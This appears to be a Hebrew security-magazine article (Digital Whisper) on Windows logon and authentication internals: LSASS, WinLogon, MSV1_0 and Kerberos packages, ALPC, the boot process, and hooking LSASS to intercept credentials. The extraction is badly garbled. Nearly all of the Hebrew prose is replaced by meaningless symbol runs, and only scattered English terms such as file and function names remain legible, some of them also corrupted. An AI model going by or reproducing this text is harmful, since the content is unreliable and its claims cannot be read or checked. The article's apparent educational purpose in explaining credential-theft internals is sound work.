˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ Φˢˤ˧˞ ˫˧˪ˣ˵ˣ˦ˣ˶˲ Κ˭˩˟ˣ ˣ˪˞ ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˪˩ ˧˪ˣ˵ˣ˦ˣ˶˲ ˸ˣˬ˧˞ˢ ˣˮ˞˷ ˫˧˶˧˩ˬ Σ˶ˬ˞ˬ˟ ˢˤ 

ˣˮ˰ˠˮ ˢˬ˩˟ ˧˪ˣ˵ˣ˦ˣ˶˲ ˸ˣˬ˧˞ξ˫˧˟ˣ˟˧ˠ ˣˬ˩ ΥLMΣNTLM  ΣKERBEROS Φ 

˪˩˪ ˪ˣ˵ˣ˦ˣ˶˲ ˢˮ˷˧ ˸˪˧˟˥ ˸ˣˬ˧˞ ˸˧˦ˮˣˣ˪˶ Σˠ˧˴˞ ˢˬ˩ ˸ˣ˪˧˟˥ˬ ˸ˣˬ˧˞ˢ ˸ˣˬ˧˧˵ˢ ˟πWindows Φ 
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˫˧˷˶˸˟ ˣ˪˩ˣ˸ ˸ˣ˞˶˪ ˸˞ ˫ˬˣ˵˧ˬ ˪˷ ˸ˣ˪˧˟˥ˢ ˧˩˧˪ˢ˸˟ ˸ˣˬ˧˞ˢΥ 

 

˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˫˧˰˧˲ˣˬˢ ˫˧˷˶˸˟: WDigst.dll ΣKerberos.dll ΣSchannel.dll ΣMsv1_0.dll ΣCredssp.dll x-

negoexts.dllΦ 

˭˩˟ˣ Σ˷˧ ˫˧˷˶˸˟ ˪ˣ˵ˣ˦ˣ˶˲ ˸ˣˬ˧˞ ˡ˥˞ ˣˮ˞˷ ˫˧˶˧˩ˬ ύ˸ˣ˥˲˪ ˶ˬ˞ˬˢˬ J ό˞ˣˢˣ NTLM ˭˟ˣˬ˩ Η˞˪ ˫˸˯ 

˧˸˷ˠˡˢ ˸˞ ˸˪˧˟˥ ˸ˣˬ˧˞ˢ MSV1_0.DLL Φ˧ˢˣˤ ˸˪˧˟˥ ˸ˣˬ˧˞ˢ ˸˰˴˟ˬ˷ ˸˞ ˷ˣˬ˧ˬˢ ˪πNTLM ˣˮ˞ˣ ˵ˣ˯˰ˮ 

ˢ˟ ˭ˣˬˢ ˵˪˥˟ ˧˶˵˥ˬˢ  κ˧˦˵˶˲ ˪˷ ˶ˬ˞ˬ ˢˤ ˭˩˪ ˟ˣ˷˥ ˶˧˩ˮ˷ ˢ˸ˣ˞ ˟ˣ˦Φ 
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Msv1_0.dll ˰ˣˡˬˣ ˞ˣˢ ˟ˣ˷˥ ˣˮ˪Κ 

˧˲˩ ˧˸˶˟˯ˢ˷ Σ˧ˢˣˤ ˸˪˧˟˥ ˢ˥˦˟˞ˢ ˸˪˲˦ˬ˷ ˪ˣ˵ˣ˦ˣ˶˲˟ sπNTLM Φ˶˥˞ˬ ˞˧ˢˣ ˡˣ˞ˬ ˢ˟ˣ˷˥ ˣˮ˶ˣ˟˰ 

ˣ˵˪˥˪ ˧˦˵˶˲ˢ ˪˷ ˶ˬ˞ˬˢ Σ˶ˣ˟˰ˮ ˪˰ ˢˡ˧˵˲˸ ˪˷ ˢ˪˧˟˥ˢ ˨˧˪ˢ˸˟ ˸ˣˬ˧˞ˢ ˭˲ˣ˞˟ ˦˶ˣ˲ˬ ˶˸ˣ˧ ˵˪˥˟ 

˧˦˵˶˲ˢ ˪˷ ˶ˬ˞ˬˢ Σ˫˷ ˶˧˩ˮ ˢˬ˩ ˸ˣ˧˴˵ˮˣ˲ ˞˧ˢ˷ ˸˞˴˧˧ˬ ˨˶ˣ˴˪ ˢ˶˟˯ˢˢ ˟˩˰˸ˮˣ ˸˴˵ ˪˰ ˢ˧˴˵ˮˣ˲ ˸˥˞ 

π˟DLL ˢˮˮ˧˞˷ ˸˞˴ˣ˧ˬ ˨˞ ˷˧ ˢ˪ ˸ˣ˟˧˷˥ ˢ˶˧ˡ˞ ˰˧ˠˮ˷˩ ˸˟˧˸˩˪ ˧˪˩ˢ ˨˞ ˰ˠ˶˩ ˵˲˸˯ˮ ˶˟˯ˢ˟ ˦˰ˬ ˶˸ˣ˧ 

˧˦˶ˣ˞˧˸ Φˠ˧˴˞ ˸˞ ˡ˧˵˲˸ ˸˪˧˟˥ ˸ˣˬ˧˞ˢ ˭˲ˣ˞˟ ˧ˬˣ˵ˬ Σ˫ˠˣ ˸˟˧˟˯˟ DomainΦ 

˸ˣˬ˧˞ ˧ˬˣ˵ˬ 

˧˲˩ ˧˸˶˟˯ˢ˷ ˧ˮ˲˪ ˪˰ ˨˧˪ˢ˸ sπWinLogon ˞ˣˢ ˭˧˩ˬ ˸˞ ˨˯ˬ sπGINA ˫˷ˬˣ ˱˯ˣ˞ ˸˞ sπCredentials 

˥˪ˣ˷ˣ ˫˸ˣ˞ ˪˞ LSASSΦLSASS  ˥˵ˣ˪ ˸˞ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˶˧˟˰ˬˣ ˫˸ˣ˞ ˸˪˧˟˥˪ ˸ˣˬ˧˞ˢ Msv1_0 Φ˸˪˧˟˥ 

˸ˣˬ˧˞ˢ ˸˥˵ˣ˪ ˸˞ sπCredentials ˷πLSASS ˶˧˟˰ˢ ˢ˪ Σ˸˟˟ˠˬ ˫˸ˣ˞ ˢˣˣ˷ˬˣ ˢ˸ˣ˞ ˶ˣ˵ˬ˪ ˟˟ˣˠˬˢ 

˞˴ˬˮ˷ ˳˟ˣ˵˟ sπSAM Φ˫˞ ˞ˬ˯˧˯ˢ ˷ˬˬ˸ˢ˷ ˷˧˵ˢ ˢˮˣ˩ˮ Σ˭ˬ ˫˸˯ˢ ˫ˠ˷ ˟ˣ˟˧ˠˢ ˭ˣ˩ˮ ˨˲ˢ˪ˣ Φ˸˞ ˸˞˴ˣ˸ 

ˢ˞ˣˣ˷ˢˢ ˸˪˧˟˥ ˢ˥˦˟˞ˢ ˢ˶˧˟˰ˬ ˪πLSASS ˨˩ˣ ˞ˣˢ ˰ˡˣ˧ ˰ˣ˟˵˪ ˫˞ˢ ˞ˬ˯˧˯ˢ ˢˮˣ˩ˮΦ 

˸ˣˬ˧˞ ˸˟˧˟˯˟ Domain 

˧ˮ˲˪ ˭˩ ˧˸˶˟˯ˢ ˪˰ ˸˟˧˟˯ DomainΦ ˢ˟ ˸ˣˬ˧˞ˢ ˰˴˟˸ˬ ˭˲ˣ˞˟ ˦˰ˬ ˢˮˣ˷ Φ˫˸˞ ˫˧ˮˬˤˣˬ ˶ˣˤ˥˪ ˫˧ˡˣˬ˰˪ 

˫˧ˬˡˣ˵ˢ ˪˰ ˸ˮˬ ˶ˣˤ˥˪ ˪˰ ˨˩ J Φ˶˷˞˩ ˰˴˟˸ˬ ˸ˣˬ˧˞ ˸˟˧˟˯˟ Domain ˸˪˧˟˥ ˢ˥˦˟˞ˢ ˸˰˴˟ˬ ˶˟ˡ 

ˢˮˣ˷ ˪˰ ˸ˮˬ ˸ˬ˞˪ Σ˫ˣ˷ˬ ˧˲˩˷ ˫˸˞˷ ˫˧˶˩ˣˤ ˸ˣˬ˧˞ˢ ˰˴˟˸ˬ ˪˞ ˪ˣˬ ˸˶˷ ˢ˦˧˪˷ˢDomain 

ControllerΦ ˰˲ˣˬˢ ˧ˬˣ˵ˬˢ ˪˷ MSV1_0 ˞˴ˬˮ˷ ˪˰ ˟˷˥ˬ ˥ˣ˵˪ˢ ˷ˬ˸˷ˬ ˸ˣ˶˧˷˟ ˫˷˟ Netlogon ˧ˡ˩ 

˞ˣ˶˵˪ ˰˲ˣˬ˪ ˪˷ MSV1_0 ˪˰ˣ˲˷ ˪˰ sπDomain Controller Φ 

˰˲ˣˬˢ ˪˷ MSV1_0 ˪˰ sπDomain Controller ˵ˡˣ˟ ˸˞ ˳˟ˣ˵ sπSAM ˣ˸ˣ˷˶˟˷ ˶˧ˤ˥ˬˣ ˸˞ ˸˞˴ˣ˸ 

ˢ˯˧ˮ˩ˢ ˰˲ˣˬ˪ ˪˷ MSV1_0 ˟˷˥ˬ˟ ˥ˣ˵˪ˢ Φˢ˯˶ˠˢ ˸˧ˬˣ˵ˬˢ ˪˷ MSV1_0 ˸˰˴˟ˬ ˸˞ ˸ˣˬ˧˞ sπ

Credentials ˵ˣ˧ˡ˟ ˣˬ˩ ˰˴˟˸ˬ˷ ˸ˣˬ˧˞˟ ˧ˬˣ˵ˬˢ ˸˶˯ˣˬˣ ˸˞ ˸˞˴ˣ˸ ˸ˣˬ˧˞ˢ ˨˧˪ˢ˸˪ sπLSASS ˟˷˥ˬ˟ 

˧ˬˣ˵ˬˢΦ 

  



 
 

" Ϧ   π      
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпт, ˶˞ˣ˶˟˲ нлно  уп 
 

ˡ˴˧˩ ˫˧˩˧˪ˢ˸ˢ ˫˧˶˷˵˸ˬ ˫ˢ˧ˮ˧˟Κ 

˨˪ˢˬ˟ ˶ˬ˞ˬˢ ˧˸˶˩ˤˢ ˶˲˯ˬ ˸ˣ˧˴˞ˣ˦˧˯ ˭ˢ˟ ˫˧˩˧˪ˢ˸ ˣ˧ˢ ˫˧˩˧˶˴ ˱˸˷˪ ˰ˡ˧ˬ ˫ˢ˧ˮ˧˟ ˷ˬˬˣ ˶˷˵˸˪ Σ

˞ˬˠˣˡ˪LSASS  xWinLogon- ˫˧˶˷˵˸ˬ ˫ˢ˧ˮ˧˟ ˰ˠˣˮ˟ ˸˶˟˰ˢ˪ sπCredentials Φ˶˟ˡˢ ˶˷˲˞˸ˬ ˸ˣˡˣˢ 

˪ALPCΥ 

ALPC Communication 

˧˷˞˶ ˸ˣ˟˧˸ ˪˷ Advanced Local Procedure Call Σ˧ˢˣˤ ˢ˦˧˷ ˸ˣ˶˷˵˸ˢ˪ ˭˧˟ ˫˧˩˧˪ˢ˸. ALPC ˸˷ˬˣˬˬ 

˸ˣ˰˴ˬ˞˟ ˷ˣˬ˧˷ ˦˵˧˧˟ˣ˞˟ ˸˞˧˴˧ ˸˶ˣ˷˵˸ ˡ˥ˣ˧ˬ ˞ˣˢ˷ ˢ˷˰ˬ˪ port ˪˷ sπKernel Σ˶˷˞ ˶˴ˣˮ ˪˰ ˧ˡ˧ 

˨˧˪ˢ˸ ˡ˥˞ ˷ˬ˷ˬˣ ˪˰ ˧ˡ˧ ˫˧˩˧˪ˢ˸ ˫˧˶˥˞ ˸˥˧˪˷˪ ˸˪˟˵ˣ ˸ˣ˰ˡˣˢ Φ˨˧˪ˢ˸ˢ ˶˴ˣ˧˷ ˸˞ ˦˶ˣ˲ˢ ˢˮˣ˩ˬ 

˨˧˪ˢ˸ Ϧ˸˶˷ ΣϦˡˣ˰˟ ˫˧˩˧˪ˢ˸ˢ ˫˧˷ˬ˸˷ˬˢ ˦˶ˣ˲˟ ˧ˡ˩ ˶˷˵˸˪ ˫˰ ˸˶˷ˢ ˫˧ˮˣ˩ˬ ˧˩˧˪ˢ˸ Ϧ˥ˣ˵˪ ΦϦ˶˷˞˩ 

˨˧˪ˢ˸ ˥ˣ˵˪ˢ ˢ˴ˣ˶ ˥ˣ˪˷˪ ˢ˰ˡˣˢ ˨˧˪ˢ˸˪ ˸˶˷ˢ ˫˧˰˴˟˸ˬ ˫˧˟˪˷ˢ ˫˧˞˟ˢΥ 

мΦ ˨˧˪ˢ˸ ˸˶˷ˢ ˶˴ˣ˧ ˦˵˧˧˟ˣ˞ port ˪˰˟ ˫˷ ˧˪˟ˣ˪ˠύˣˢˤ ˧˶ˢ ˦˵˧˧˟ˣ˞ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˪˰ˣ ˭˩ ˞ˣˢ 

˧˪˟ˣ˪ˠ ˭˧˟ ˫˧˩˧˪ˢ˸ˢό 

нΦ ˥ˣ˵˪ˢ ˷˵˟ˬ ˶ˣ˟˧˥ ˭˸ˣ˞˪ sπPort ˪˰ ˧ˡ˧ ˢ˥˧˪˷ ˪˷ ˸˰ˡˣˢ ˶ˣ˟˧˥Φ 

оΦ ˫˞ ˸˶˷ˢ ˪˟˵ˬ ˸˞ ˶ˣ˟˧˥ˢ ˫˧˶˴ˣˮ ˧ˮ˷ ˧˦˵˧˧˟ˣ˞ Port ˧˶˯˥ ˫˷ Φport ˡ˥˞ ˷ˬ˷ˬ ˸˞ ˥ˣ˵˪ˢ 

ˢ˥˧˪˷˪ ˪˷ ˸ˣ˰ˡˣˢ ΣˣPort- ˧ˮ˷ ˷ˬ˷ˬ ˸˞ ˸˶˷ˢ ˢ˪˟˵˪ ˭ˢ˪˷ Φ˪˩ ˨˧˪ˢ˸ ˪˟˵ˬ Handle ˪˞ sπPort 

ˣ˪˷Φ 

пΦ ˳ˣ˶˰ ˸˶ˣ˷˵˸ˢ ˶˴ˣˮ ˫˧˩˧˪ˢ˸ˢˣ ˫˧˪ˣ˩˧ ˶˷˵˸˪ ˫ˢ˧ˮ˧˟ Φ˷ˬˬ ˣˬ˩ ˷ˣˬ˧˷ ˟πSocket Σ˫ˮ˷˧ ˢ˷ˣ˪˷ 

Sockets Σ˸ˣ˶˟˥˸ˢ Σ˸˶˷ x˥ˣ˵˪ Φ˶˷˞˩ ˸ˣ˶˟˥˸ˢˢ ˷ˬ˷ˬ ˵˶ ˸˪˧˥˸˪ ˸˶ˣ˷˵˸ˢ ˢ˥˧˷ˢˣ ˸˶˟ˣ˰ 

˨˶ˡ s Sockets ˪˷ ˸˶˷ˢ ˥ˣ˵˪ˢˣΦ 

ˢ˶˵ˬ˟ ˪˷ LSASS xWinLogon- ˸˶ˣ˷˵˸ˢ ˸˰˴˟˸ˬ ˨˶ˡ Port ˧ˡˣ˰˧˧ ˫˷˟Υ LsaAuthenticationPort 
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ˤ˞ ˨˧˞ ˰˴˟˸ˬ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢΚ 

ˤ˞ ˶˥˞˪ ˧˸ˠ˴ˢ˷ ˫˩˪ ˸˞ ˪˩ ˫˧˟˧˩˶ˢ ˫˧˧˦ˮˣˣ˪˶ˢ ˨˧˪ˢ˟ ˸ˣˬ˧˞ˢ ˟πWindows ˭˲ˣ˞˟ ˦˶ˣ˲ˬ ˡ˴˧˩ˣ ˫ˢ 

˫˧˶˷˵˸ˬ ˫ˢ˧ˮ˧˟ Σ˰˧ˠˢ ˭ˬˤˢ ˶ˣ˷˵˪ ˸˞ ˪˩ˢ ˡ˥˧ ˶ˣ˵˯˪ˣ ˸˞ ˢˬ ˢ˶ˣ˵˷ ˪˥ˢ ˰ˠ˶ˢˬ x˟ ˫˧˧˸˯ˬ sπBoot 

Process ˡ˰ˣ ˰ˠ˶˪ x˟ ˣˮ˞ ˫˧˸ˬ˞˸ˬ ˫˧˯ˮ˩ˮˣ ˟˷˥ˬ˪ Φ˧ˬ˪ ˫˩ˬ ˞˪˷ ˶˧˩ˬ ΣπsBoot Process ˞ˣˢ ˨˧˪ˢ˸ˢ 

ˢ˪˰ˬ˷ ˸˞ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˰ˠ˶˟ ˣˮ˞˷ ˫˧˴˥ˣ˪ ˪˰ sπPower Button Φ 

˶˥˞ˬ ˢˤˣ ˞˪ ˵˪˥ ˞˷ˣˮˬ ˶ˬ˞ˬˢ Σ˳˧˪ˬ˞ ˧ˬ˷ ˞˪˷ ˢˢˣˤˬ ˫˰ ˨˧˪ˢ˸ˢ ˞˶˵˧ ˸˞ ˬ˰ ˶˲˯ˬ с ˶ˬ˞ˬ˟ ˪˷ 

˥ˣ˸˧˲ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˵˪˥ ˞ ϥ˸˞ˬ ˭ˡ˧˰ ˦˯˲ Φ˪˩˟ ˭˲ˣ˞ Σ˪˥ˢ ˣ˸ˣ˞ˬ ˰ˠ˶ˢ x˟ ˢ˪ˣ˰ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ 

˞˶˵ˮ ˸ˣ˶˧˷ˢ ǎƳǎǎΦŜȄŜ Φ˸ˣ˶˧˷ˢ ˶˴ˣ˧ ˧˸˷ ˫˧ˮ˷˯ м x-л ύSession0 πSession1ό Φ˭˷˯ ˯ˬ' л ˸˧˞˶˥˞ 

˫˧˩˧˪ˢ˸˪ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˭˷˯ˣ ˯ˬ' м ˸˧˞˶˥˞ ˫˧˩˧˪˸ˢ˪ ˪˷ ˷ˬ˸˷ˬˢ Φ˭˷˯ ˯ˬ' л ˸˞˶ˣ˵ ˧ˮ˷˪ 

˫˧˸ˣ˶˧˷ ˫˧˲˯ˣˮ ˫˷˟ ŎǎǊǎǎΦŜȄŜ x-ǿƛƴƴƛǘΦŜȄŜ Φ˭˷˯ ˯ˬ 'м ˸˞˶ˣ˵ ˸ˣ˶˧˷˪ ˶˟˩˷ ˣˮ˵˲˯ˢ ˶˧˩ˢ˪ 

WinLogon Η˶ˣ˟˰ˮ ˢ˶˴˵˟ ˪˰ ˫˧˸ˣ˶˧˷ˢ ˣ˞˶˵ˮ˷Υ 

ŎǎǊǎǎΦŜȄŜ π ˧˷˞˶ ˸ˣ˟˧˸ ˪˷ ŎƭƛŜƴǘ ǎŜǊǾŜǊ ǊǳƴǘƛƳŜ ǎǳōǎȅǎǘŜƳ Φ˸ˣ˶˧˷ˢ ˧˞˶˥˞ ˪˰ ˶˲˯ˬ ˫˧ˡ˧˵˲˸ 

˫˧˧ˮˣ˧˥ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ Φ˫ˢ˧ˮ˧˟ ˧˞˶˥˞ ˪˰ ˪ˣˢ˧ˮ ˪˷ ˫˧˩˧˪ˢ˸ ˫˧ˮˣ˩˧˪ˢ˸ˣ Φ˶˷˞˩ ˨˧˪ˢ˸ ǳƳ ˞˶ˣ˵ 

˸˧˧˴˵ˮˣ˲˪ ǿƛƴŀǇƛ ˸˶˧˴˧˪ ˨˩˧˪ˢ˸ x˞ ˭ˣ˩˧˪ˢ˸ Σ˞ˬˠˣˡ˪ ˸˲ˡ˰ˬˢ ˧˪˰ :.CreateRemoteThread() ˸ˣ˧˶˲˯ˢ 

˸ˣ˧˞˶˥˞ˢ ˪˰ ˨˩ ˷πWin32 ˸ˣ˥˪ˣ˷ ˢ˞˧˶˵ ˪πŎǎǊǎǎ ˞ˣˢˣ ˰˴˟ˬ ˸˞ ˢˡˣ˟˰ˢ ˣˤˢ ˧˪˟ˬ ˨˶˦˴ˮ˷ ˡ˧˟˰ˢ˪ ˸˞ 

πsKernel Φ˱˯ˣˮ˟ ˨˧˪ˢ˸ˢ ˪˲˦ˬ ˧˧ˣ˟˧˩˟ ˟˷˥ˬˢ ˨˶ˡ ˵˷ˬˬˢ ˧˲˶ˠˢ  ˪˷WindowsΦ 

Wininit.exe π ˫ˠ ˸ˣ˶˧˷ˢ ˮˢ"˪ ˧˞˶˥˞ ˪˰ ˭ˣˬˢ ˫˧ˡ˧˵˲˸ Σ˨˞ ˫ˣ˷ˬ ˶ˬ˞ˬˢ˷ ˵˯ˣ˰ ˣ˟ˣ˶˟ ˪˰ ˨˧˪ˢ˸ 

˸ˣˬ˧˞ˢ Σ˵˲˸˯ˮ ˨˩˟ ˞ˣˢ˷ ˢˤ ˞˶ˣ˵˷ ˡ˥˞˪ ˡ˧˥˧ˢˣ lsass.exeΗ 

WinLogon.exe π ˟ˣ˦ Σˣ˧˪˰ ˶˟˩ ˣˮ˵˲˯ˢ ˶˟ˡ˪ ˭ˣˬˢ Φ˧ˬ ˶˟˩˷ ˵˧˲˯ˢ ˥ˣ˩˷˪ Σ˞ˣˢ ˢˤ ˧ˬ ˶˴ˣ˧˷ ˸˞ ˨˯ˬ 

ˢ˪˧˰ˮˢ ˫˯˶ˣ˲ˬˢ GINA Φ˳˧˪ˬ˞ ˣ˶ˤ˥˸˷ ˪˞ ˸˶˸ˣ˩ˢ ˧ˡ˩ ˢ˪˧˶˩ˤ ˧˩ ˧ˮ˞ ˨˧˷ˬ˞ ˸˞ ˶˟˯ˢˢ ˢ˥ˮˢ˟ ˫˸˞˷ 

˫˧˞˧˵˟ ˨˧˪ˢ˸˟ ΦόΥ 

˸˰˩ Σ˧ˮ˞ ˫˧˞˴ˬˮ ˟˴ˬ˟ x˟ ˢ˪˰ ˨˯ˬ ˢ˪˧˰ˮˢ ˫˯˶ˣ˲ˬˢ  ˪˷Windows ˞ˣˢˣ ˢ˩˥ˬ ˸˷˵ˢ˪ ˞ˬ˯˧˯ˢ ˣˮ˪˷ Φ

ˣˮ˞ ˫˧˷˧˵ˬ ˸˞ ˣˮ˸˞ˬ˯˧˯ ˨˧˪ˢ˸ˣ sπLogonUI ˱˯ˣ˞ ˢ˸ˣ˞ ˶˯ˣˬˣ ˢ˸ˣ˞ ˢ˶ˤ˥ ˪πWinLogon Φ˶˷˲˞ ˯˥˧˧˪ 

˸˞ LogonUI ˶ˤˣ˰ˢ˩ ˧˷˧˞ˢ  ˪˷WinLogon ˢ˷ˣ˰˷ ˣ˶ˣ˟˰˟ ˸˞ ˢˡˣ˟˰ˢ ˢ˷˵ˢ Φˡ˧ˬ˸ ˷˧˷ ˨˶ˣ˴ ˱ˣ˯˞˪ 

ŎǊŜŘŜƴǘƛŀƭǎ ˞ˣˢ ˰˴˟ˬ ˸˞ ˢˡˣ˟˰ˢ ˢ˶ˣ˥˷ˢ Σ˶˯ˣˬˣ ˫˸ˣ˞ ˪πWinLogon Φ˶˥˞˪ ˭˩ˬ ΣWinLogon ˷ˬ˸˷ˬ 

ˢ˧˴˵ˮˣ˲˟ ˫˷˟ ΥLsaLogonUser() ˪˰ ˸ˮˬ ˶˧˟˰ˢ˪ ˸˞ ˞ˬ˯˧˯ˢ ˪πLSASS Φ 

ˢ˧˴˵ˮˣ˲ˢ ˣˤˢ ˸˶˷˵˸ˬ ˫˰ LSASS ˸ˣ˰˴ˬ˞˟ ALPC ˣ˧˪˰ ˶˟˩ ˣˮˡˬ˪ ˧ˮ˲˪ ˭˩ Φ˧˲˩ ˧˸˶˟˯ˢ˷ Σ˸˶ˣ˷˵˸ˢ 

˸˰˴˟˸ˬ ˨˶ˡ ˦˶ˣ˲ ˫˷˟ LsaAuthenticationPortΦ 

https://www.digitalwhisper.co.il/files/Zines/0x1E/DW30-4-OsDev.pdf
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LSASS ˦˧˪˥ˬ ˣˤ˧˞˟ ˸˪˧˟˥ ˸ˣˬ˧˞ ˷ˬ˸˷ˢ˪ ˪˰ ˸ˮˬ ˸ˬ˞˪ ˸˞ ˞ˬ˯˧˯ˢ Φˢˡ˧ˬ˟ ˶˟ˣˡˬˣ ˷ˬ˸˷ˬ˟ 

˸˟˧˟˯˟ Domain Σ˞ˣˢ ˶˥˟˧ ˸˪˧˟˥˟ ˸ˣˬ˧˞ˢ ƪŜǊōŜǊƻǎΦŘƭƭ ˢ˸ˣ˞ ˣˮ˶˩ˤˢ Σˢˡ˧ˬ˟ ˣˢˤˣ ˷ˬ˸˷ˬ ˧ˬˣ˵ˬ Σ˞ˣˢ 

˶˥˟˧ ˸˪˧˟˥˟ ˸ˣˬ˧˞ˢ ƳǎǾмψл ˢ˧˪˰ ˣˮ˶˟˧ˡ ˢ˟˶ˢ Φ 

˶˟˯ˢ˟ Σˣˮ˞ ˯˥˧˧˸ˮ ˸ˣˬ˧˞˪ ˪˷ ˷ˬ˸˷ˬ ˧ˬˣ˵ˬ ˨˩ ˸˪˧˟˥˷ ˸ˣˬ˧˞ˢ ˢ˶˥˟ˮ˷ ˞˧ˢ ƳǎǾмψл Φ˸˪˧˟˥ 

˸ˣˬ˧˞ˢ ˸˶˴ˣ˧ ˟ˣ˟˧ˠ ˪˷ ˞ˬ˯˧˯ˢ Φ˟ˣ˟˧ˠ ˞ˬ˯˧˯ˢ ˢˣˣ˷ˣˬ ˨˶˰˪ ˫˧˞˸ˬˢ ˪˷ ˫˷ ˷ˬ˸˷ˬˢ ˳˟ˣ˵˟ sπSAM Φ 

˸˟ˣ˷˸ ˢ˞ˣˣ˷ˢˢ ˸˶˟˰ˣˬ ˪πLSASS Φˢˡ˧ˬ˟ ˞ˬ˯˧˯ˢˣ ˢˮˣ˩ˮ Σ˶˴ˣˮ ˢˢˤˬ ˧ˡˣ˥˧˧ ˸˥˧˷˪ ˷ˬ˸˷ˬˢ ƭǳƛŘ Φ

˰ˡ˧ˬˢ ˶˟˰ˣˬ ˪πLSASS ˠ˞ˣˡ˷ ˶˴˧˧˪ Security Token ˶ˣ˟˰˟ ˷ˬ˸˷ˬˢ ˸ˬˣ˞˷ Φ˶˥˞˪ ˭˩ˬ ΣWinLogon 

˞˶ˣ˵ ˸ˣ˶˧˷˪ ˫˷˟ UserInit ˠ˞ˣˡ˷ ˭ˣ˰˦˪ ˸˞ ˪˧˲ˣ˶˲ ˷ˬ˸˷ˬˢ ˶ˣ˴˧˪ˣ ˸˞ ŜȄǇƭƻǊŜǊΦŜȄŜΦ  

ˢˮˢ ˫˧˷˶˸ ˧˸ˬ˩˯ ˶˞˸ˬˢ ˸˞ ˧˟˪˷ ˸ˣˬ˧˞ˢ ˧˸ˠ˴ˢ˷Υ 
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ˣˮ˰ˠˢ ˵˪˥˪ ˧˦˵˶˲ˢΗ 

ˤ˞ ˧˪ˣ˞ ˡˣ˰ ˞˪ ˠ˥ ˶˧˴˵ˢ Σ˪˟˞ ˢˤ ˱˞ ˫˰˲ ˞˪ ˶˥ˣ˞ˬ ˧ˡ˩ ˶ˣ˴˵˪ ˸ˣ˞ˬ˯˧˯ J 

˫˞ ˫˸˰ˠˢ ˡ˰ ˢ˲˪ ˢˤ ˭ˬ˧˯ ˫˸˞˷ ˫˧ˮ˧˟ˬ ˵ˬˣ˰˪ ˸˞ ˧˩˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˟πWindows ˢˤˣ ˧˶ˬˠ˪ ˧ˣ˞˶ 

ˢ˩˶˰ˢ˪ ˫ˣ˷ˬ ˢ˧˶ˣ˞˧˸ˢ˷ ˢˮˮ˧˞ ˢ˦ˣ˷˲ Σ˨˞ ˪˞ ˢˠ˞ˡ ˧ˮ˞ ˥˧˦˟ˬ ˢˤ˷ ˫˪˸˷˧ ˫˩˪ ˫ˣ˷ˬ ˣ˧˷˩˰˷ 

˫˸˞˷˩ ˫˧˶˧˩ˬ ˵ˬˣ˰˪ ˸˞ ˪˩ ˫˧˟˧˩˶ˢ ˸˶˷˶˷˟ ˸ˣˬ˧˞ˢ ˰˧ˠˢ ˭ˬˤˢ ˱ˣ˵˸˪ ˫˸ˣ˞ ˱ˣ˪˷˪ˣ ˸ˣ˞ˬ˯˧˯ύ Η˸˞ 

˸ˣ˞ˬ˯˧˯ˢ ˫˩˪˷ ˭˟ˣˬ˩ ˞˪ˣ ˪˷ ˣˢ˷˧ˬ ˶˥˞ ΦΦΦ˞˪˞ ˫˞ ˭˩ ˫˸˞ ǊŜŘ ǘŜŀƳƳŜǊǎ J Φό 

˥ˬ˷˞ ˧ˬ˷ ˭˧˞˷ x˪ ˰ˡ˧ ˟πDLL Injection ˞˶˵˧ ˸˞ ˶ˬ˞ˬˢ ˪˷ ˧˶ˣ˞ ˯˵˶˲ ˞˷ˣˮ˟ ǳǎŜǊƳƻŘŜ ƘƻƻƪƛƴƎ Φˤ˞ 

˧ˮ˲˪ ˪ˣ˪˴ˮ˷ ˢˬ˧ˮ˲ ˧˞ˡ˩ ˣˡ˧˧˦˴˸˷ ˟-IDA / GhidraΣ CodeBlocks κ VisualStudio ˧˲˵˷ˬˣ ˢ˧˞˶˵ ύˣˮ˥ˮ˞ 

˫˧˩˪ˣˢ ˷˲˥˪ ˳˟ˣ˵˟ ˧˶˞ˮ˧˟ JΦό 

 

ˢ˷˧ˠ ˢˮˣ˷˞˶: ˸˧˧˴˪ˣ˲˧ˮˬ ˸ˣ˞˷˶ˢ  

˭˧˟ˬ ˪˩ ˮ˥˸ˢˣ˸ ˧˸ˠ˴ˢ˷ ˧˟˪˷˟ ˸ˣˬ˧˞ˢ Σ˧˪˩ˢ ˭ˣ˷˞˶ˢ ˟ˣ˸˩ˮ˷ ˱ˣ˵˸˧ ˸˞ LSASS Φˢ˷˰ˬ˪ ˞ˣˢ ˰ˡ˧ 

˞˧˴ˣˢ˪ ˸˞ ˪˩ ˭˩ˣ˸ˢ ˭ˣ˶˩˧ˤ˟˷ ˧ˤ˧˲ˢ ˣ˪˷ ˟ˣ˸˩ˣ ˣ˸ˣ˞ ˨ˣ˸˪ ˳˟ˣ˵ ˦˯˵˦ Φ˶˥˞ˬ ˧˲˩ˣ ˟˩˷ ˣˮˡˬ˪ ˞ˣˢ ˭˯˥˞ˬ 

˨ˣ˸˟ ˣˮˣ˶˩˧ˤ ˸˞ ˸ˣ˞ˬ˯˧˯ˢ Σ˧˟ˣ˟˧ˠ ˸ˣ˞ˬ˯˧˯ˢ ˣ˞˴ˬ˧ ˟˨ˣ˸ ˳˟ˣ˵ˢ ˢˤˢ Φ 

˪˩ˣˮ ˰˴˟˪ ˸˞ˤ ˸ˬ˶ˬ ˸ˣ˞˷˶ˢ ˦˰ˬ˩ ˸˧˯˲˞ ˨ˣ˸ ˸˞˪˰ˢ ˸ˣ˞˷˶ˢ ˸˩˧˶˰ˣ ˭ˣˬ˧˯˞ ˢ˷˧ˠˢ ˪˷ ˨˧˪ˢ˸ˢ ˪˷ 

